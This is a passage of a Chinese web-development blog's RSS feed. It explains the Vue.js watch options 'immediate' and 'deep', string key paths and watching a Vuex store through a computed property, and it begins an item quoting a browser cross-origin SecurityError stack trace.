ASAABAAAhEmAGIc4Qb4ceMsKBkIAAEgAAROCgEQYxBjIAAEgAAQAAIRJgBiHOEGOCmjNrATCAABIAAEfhwBEGMQYyAABIAAEAACESYAYhzhBvhx4ywoGQgAASAABE4KARBjEGMgAASAABAAAhEmAGJ8kAZAGFNa3n/vpWvJ/dAQB2/ePgjDkzJcBTuBABAAAsdAgBLj/x8TolkQtoqDRQAAAABJRU5ErkJggg==" alt="" /></p><p style="margin: 10px auto; padding: 0px; color: rgb(51, 51, 51); font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif; font-size: 14px;">使用方法</p><blockquote style="margin: 0px; padding: 5px 10px; background-image: none; border-top: none; border-right: none; border-bottom: none; border-left: 5px solid rgb(221, 221, 221); border-image: initial; color: rgb(85, 85, 85); font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif; font-size: 14px;"><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">watch：{</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; data (n, m) {</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; &nbsp;n: 变更后的数据</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; &nbsp;m：变更前的数据</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; }</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">}</p></blockquote><h3 style="margin: 10px 0px; padding: 0px; font-size: 16px; line-height: 1.5; color: rgb(51, 51, 51); font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif;"><a name="t1" style="margin: 0px; padding: 0px;"></a><a name="t1" style="margin: 0px; padding: 0px;"></a>以上方法 只有在数据发生改变的时候 才能监听到 这个时候 提供了参数&nbsp;immediate 立即执行监听内的函数</h3><p style="margin: 10px auto; padding: 0px; color: rgb(51, 51, 51); font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif; font-size: 14px;">使用方法</p><blockquote style="margin: 0px; padding: 5px 10px; background-image: none; border-top: none; border-right: none; border-bottom: none; border-left: 5px solid rgb(221, 221, 221); border-image: initial; color: rgb(85, 85, 85); font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif; font-size: 14px;"><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">watch：{</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; data (n, m) {</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; &nbsp;n: 变更后的数据</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; &nbsp;m：变更前的数据</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; },</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp;&nbsp;immediate: true</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">}</p></blockquote><h3 style="margin: 10px 0px; padding: 0px; font-size: 16px; line-height: 1.5; color: rgb(51, 51, 51); font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif;"><a name="t2" style="margin: 0px; padding: 0px;"></a><a name="t2" style="margin: 0px; padding: 0px;"></a>如果遇到监听对象 以上的方法是无法实现的 那么我们就要监听对象内部参数 则watch 提供了 deep 参数 代表深入观察&nbsp;</h3><p style="margin: 10px auto; padding: 0px; color: rgb(51, 51, 51); font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif; font-size: 14px;">实现方法</p><blockquote style="margin: 0px; padding: 5px 10px; background-image: none; border-top: none; border-right: none; border-bottom: none; border-left: 5px solid rgb(221, 221, 221); border-image: initial; color: rgb(85, 85, 85); font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif; font-size: 14px;"><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">watch：{</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; object (n, m) {</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; &nbsp;n: 变更后的数据</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; &nbsp;m：变更前的数据</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; },</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; deep: true</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">}</p></blockquote><h3 style="margin: 10px 0px; padding: 0px; font-size: 16px; line-height: 1.5; color: rgb(51, 51, 51); font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif;"><a name="t3" style="margin: 0px; padding: 0px;"></a><a name="t3" style="margin: 0px; padding: 0px;"></a>以上使用 deep 方法的话 能实现想要的 但是~ 这样太麻烦了 因为这样的watch 会一层一层的查找 object&nbsp; 那么我们直接点找到想监听的对象key 就好了</h3><p style="margin: 10px auto; padding: 0px; color: rgb(51, 51, 51); font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif; font-size: 14px;">使用方法</p><blockquote style="margin: 0px; padding: 5px 10px; background-image: none; border-top: none; border-right: none; border-bottom: none; border-left: 5px solid rgb(221, 221, 221); border-image: initial; color: rgb(85, 85, 85); font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif; font-size: 14px;"><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">watch：{</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; &lsquo;object.key&rsquo;&nbsp;(n, m) {</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; &nbsp;n: 变更后的数据</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; &nbsp;m：变更前的数据</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; }</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">}</p></blockquote><p style="margin: 10px auto; padding: 0px; color: rgb(51, 51, 51); font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif; font-size: 14px;">以上直接找到 利用字符串形式 完美解决</p><h3 style="margin: 10px 0px; padding: 0px; font-size: 16px; line-height: 1.5; color: rgb(51, 51, 51); font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif;"><a name="t4" style="margin: 0px; padding: 0px;"></a><a name="t4" style="margin: 0px; padding: 0px;"></a>还有一种就是监听 store 就没办法用上面的直接监听了 那么我们利用计算属性来</h3><p style="margin: 10px auto; padding: 0px; color: rgb(51, 51, 51); font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif; font-size: 14px;">实现如下</p><blockquote style="margin: 0px; padding: 5px 10px; background-image: none; border-top: none; border-right: none; border-bottom: none; border-left: 5px solid rgb(221, 221, 221); border-image: initial; color: rgb(85, 85, 85); font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif; font-size: 14px;"><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">computed: {</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; data () {</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; &nbsp; return this.$store.getters.obj</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; }</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">}</p></blockquote><p style="margin: 10px auto; padding: 0px; color: rgb(51, 51, 51); font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif; font-size: 14px;">获得data&nbsp; 再对data进行监听 完美解决</p><blockquote style="margin: 0px; padding: 5px 10px; background-image: none; border-top: none; border-right: none; border-bottom: none; border-left: 5px solid rgb(221, 221, 221); border-image: initial; color: rgb(85, 85, 85); font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif; font-size: 14px;"><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">watch：{</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; data (n, m) {</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; &nbsp;n: 变更后的数据</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; &nbsp;m：变更前的数据</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">&nbsp; }</p><p style="margin: 0px; padding: 0px; color: rgb(119, 119, 119);">}</p></blockquote>]]></description><category>Javascript</category><comments>http://camnpr.com/javascript/2298.html#comment</comments><wfw:comment>http://camnpr.com/</wfw:comment><wfw:commentRss>http://camnpr.com/feed.asp?cmt=2298</wfw:commentRss><trackback:ping>http://camnpr.com/cmd.asp?act=tb&amp;id=2298&amp;key=07deba3b</trackback:ping></item><item><title>Uncaught SecurityError: Failed to read a named property 'href' from 'Location': Blocked a frame with origin &amp;quot;http://localhost:9529&amp;quot; from accessing a cross-origin frame.</title><author>camnpr@163.com (camnpr)</author><link>http://camnpr.com/javascript/2297.html</link><pubDate>Sat, 13 Jan 2024 17:18:26 +0800</pubDate><guid>http://camnpr.com/javascript/2297.html</guid><description><![CDATA[<blockquote><p>&nbsp;Uncaught SecurityError: Failed to read a named property 'href' from 'Location': Blocked a frame with origin &quot;http://localhost:9529&quot; from accessing a cross-origin frame.</p><p>&nbsp; &nbsp; at ./src/main.js (main.js:127:23)</p><p>&nbsp; &nbsp; at __webpack_require__ ((索引):99:30)</p><p>&nbsp; &nbsp; at 0 (templateLabelConfig.vue:1:1)</p><p>&nbsp; &nbsp; at __webpack_require__ ((索引):99:30)</p><p>&nbsp; &nbsp; at checkDeferredModules ((索引):65:23)</p><p>&nbsp; &nbsp; at Array.webpackJsonpCallback [as push] ((索引):52:19)</p><p>&nbsp; &nbsp; at app.1736758244600.js:1:57</p></blockquote><p><img src="data:image/png;base64,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